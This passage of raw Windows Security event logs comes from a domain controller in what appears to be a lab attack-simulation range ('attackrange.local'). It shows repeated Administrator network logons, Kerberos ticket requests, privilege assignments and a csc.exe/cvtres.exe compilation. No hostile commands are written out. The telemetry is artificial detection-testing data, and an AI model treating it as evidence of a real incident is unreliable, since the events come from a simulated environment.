on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251518 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251517 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251516 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251515 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1388E9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251514 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1388E9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251513 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1388E9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251512 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251511 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251510 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251509 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1388BA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251508 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x137EF1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251507 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x136BA0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251506 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1388BA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251505 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1388BA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251504 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251503 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {860332EA-2668-4D0B-E636-419ED9D2C753} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251502 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:46 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251501 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13674B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11c0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1388 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES120.tmp" "c:\Users\Administrator\AppData\Local\Temp\tizuy0ap\CSC9E3381252B7D436EA13D6DF162D61DDA.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251618 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13CAE6 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251617 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13CAE6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251616 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251615 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251614 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251613 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13C785 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251612 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13C785 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251611 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251610 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {AA91A4F5-A5F3-D9AD-11AD-8B8E2AA11BA6} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251609 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:47 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251608 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a0 - New Process Name: 